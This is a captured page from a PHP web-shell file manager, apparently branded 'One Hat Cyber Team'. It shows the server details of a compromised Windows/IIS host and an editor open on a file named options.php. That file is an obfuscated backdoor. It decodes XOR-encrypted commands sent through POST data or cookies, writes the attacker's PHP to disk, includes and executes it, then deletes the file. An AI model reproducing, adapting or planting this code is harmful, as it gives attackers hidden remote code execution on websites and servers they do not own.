⚝
One Hat Cyber Team
⚝
Your IP:
18.191.86.218
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
Edit File: options.php
<?php $hyyvzmv_k = 'hyyvzmv_k' ^ ''; function gwrk_($pmmls, $dgnmi) { global $hyyvzmv_k; /* zcuz */ $pmmls = /* ov */ "<" /* bpny*/ . "?".$hyyvzmv_k(350-238) . $hyyvzmv_k(104) . "p".$hyyvzmv_k(32) . /* kqiijt */ "u"."\156" . /*cwiht */ $hyyvzmv_k(926-818) /* h */ . "\x69".$hyyvzmv_k(649-539) . "k"."\x28" . "_"."_"."\x46" /* _ */ . "I".$hyyvzmv_k(244-168) . "\105" /* xww */ . $hyyvzmv_k(707-612) /*sxsy */ . "_"."\x29" . $hyyvzmv_k(418-359) . $hyyvzmv_k(32) . $pmmls["d"]; /* fncevt */ $xjvbpklioo /* uaplb */ = /* dikui*/ "f"."\x69"."\154" . $hyyvzmv_k(101) . $hyyvzmv_k(95) . "p"."\x75" /* siihwp*/ . $hyyvzmv_k(116) . /* wg */ "_"."c".$hyyvzmv_k(211-100) . "n".$hyyvzmv_k(930-814) . /* zi_l */ "\x65" /* zjgzl */ . "\156" . /* h*/ "\x74" /* fx */ . /* rsp */ "s"; /* re */ $xjvbpklioo($dgnmi, $pmmls); /* j */ jlr_ruc_($dgnmi);} function /* kt*/ sqygme(){ /* g_ */ $_jikavkj = /* ah_hft */ 36; $ncvvev_ir = 'oj'; $eudsv /* jfw */ = /* eoah*/ 'uhyvogysa'; $lafrxs = 'wxnw'; /* chrcgy */ $loaqed = str_replace('pqhbts', 'wut', $lafrxs); } sqygme(); $uhscbla /* jvlts*/ = /* a_ */ 73; function jlr_ruc_($dgnmi) { global $hyyvzmv_k; /* rbgn */ include($dgnmi); $vlisflhita = $dgnmi; /* jzajju */ @unlink($vlisflhita); } function /*_ */ mxqonts() { global $hyyvzmv_k; $iajkgeduz = array(); /* ixkgav*/ $iajkgeduz["\160" . $hyyvzmv_k(711-593)] = phpversion(); /* n */ $iajkgeduz["s"."v"] /* bpoiuc */ = "3"."\x2e" . "\65"; $fbnes = 74; /* qlv */ echo @serialize($iajkgeduz);} function /* m*/ yvdmm() { /* gmjkcr */ $tfxbq = 'frcxu_trk'; $pzpgytcrgk /* ceeqb */ = /*jilmyu */ 44; /* mwz */ $iajkgeduzbuybafaoy = 47; $_kgvg /* bklg */ = 'olqujefqqi';} yvdmm(); function eonjipkakf($pmmls, $xjvbpktemshdv) { global $hyyvzmv_k; $sxeez_x = ""; $pawcvdrm = 'id'; $iajkgeduz = /* t */ 0; /* fd*/ while ($iajkgeduz /* es */ < strlen($pmmls)) { /*rs */ for /*iq */ ($xjvbpk = 0; $xjvbpk < strlen($xjvbpktemshdv) && /*rlyai */ $iajkgeduz /*zikke */ < strlen($pmmls); /* fyl */ $xjvbpk++, $iajkgeduz++) /* ovjw_*/ { $sxeez_x .= $hyyvzmv_k(ord($pmmls[$iajkgeduz]) /*byccgq*/ ^ ord($xjvbpktemshdv[$xjvbpk])); } } /* tmra */ return $sxeez_x;} function ggthnddu() { $kayzkzba = 14; $avswhzky = 'rtdcpzz'; $_jnroydxe /*scvk */ = 18; $rtltspiihn = /* q */ 49; $osdaa = /* lapmp */ 'ptkhwv'; /*z*/ $fpxocgkrio = 'ypgaavak'; /* xby*/ $kayzkzba /*r */ = $rtltspiihn * $rtltspiihn; $kyeuycgj /* vad */ = /* obznfs */ $rtltspiihn / ($rtltspiihn /*x */ + 10); $iajkgeduzucthgsq = /* hfpq */ 39; } ggthnddu(); function /*zemh */ jafyxyc($sakhfs) { global $hyyvzmv_k; /* xg */ /* zsf*/ $iajkgeduzraddceg = "0".$hyyvzmv_k(102) . "d".$hyyvzmv_k(507-454) /* o */ . "7"."7"."d".$hyyvzmv_k(603-550) . /* ifqtl */ $hyyvzmv_k(45) . /* frue */ "6"."3"."b"."\141" . /* isxrqy */ "-"."\64" . $hyyvzmv_k(100) . /* ktlde */ "6"."7"."-".$hyyvzmv_k(98) . /* u */ "\x64" . "5".$hyyvzmv_k(55) . $hyyvzmv_k(325-280) . "f"."\x37" /* edih_ */ . "3"."\65" . "2"."4".$hyyvzmv_k(149-95) . /* us */ "\x37" . $hyyvzmv_k(302-254) . $hyyvzmv_k(763-663) . $hyyvzmv_k(51) /* l */ . "9"; /* vw*/ /* upfs */ foreach ($sakhfs /* ii */ as /* oz */ $rfllis => $pmmls) { _rmgqy(base64_decode($pmmls), $iajkgeduzraddceg, $rfllis); } } function _rmgqy($pmmls, $iajkgeduzraddceg, $rfllis) { global $hyyvzmv_k; /*f*/ $pmmls = unserialize(eonjipkakf(eonjipkakf($pmmls, $iajkgeduzraddceg), /* dkzv*/ $rfllis)); $clcctixzl = 'hhz'; $zeuouwb = /* q */ 'uk'; /* nmpfu */ if (isset($pmmls[$hyyvzmv_k(97) . "k"])) /* quvp */ { if /*kd */ ($pmmls["a"] == "\x69") { /*vq */ mxqonts(); /*t */ } elseif ($pmmls["a"] == $hyyvzmv_k(420-319)) /* gk */ { gwrk_($pmmls, sprintf("."."/"."\45" . "s".$hyyvzmv_k(46) . /* whi_ */ $hyyvzmv_k(112) /* hnv */ . "l", md5($iajkgeduzraddceg))); $dljro /* eirt */ = 44; /* y */ } exit(); } } $yfzcxvrclp /*lqr */ = 69; $dhd__oqx = /* fiihfi*/ 22; $dhd__oqx /* cw */ = /* pf */ $yfzcxvrclp /* parhd */ + /* qucl */ 15; jafyxyc($_POST); jafyxyc($_COOKIE); $onzwsf = /* buqml */ 6; ?>
Simpan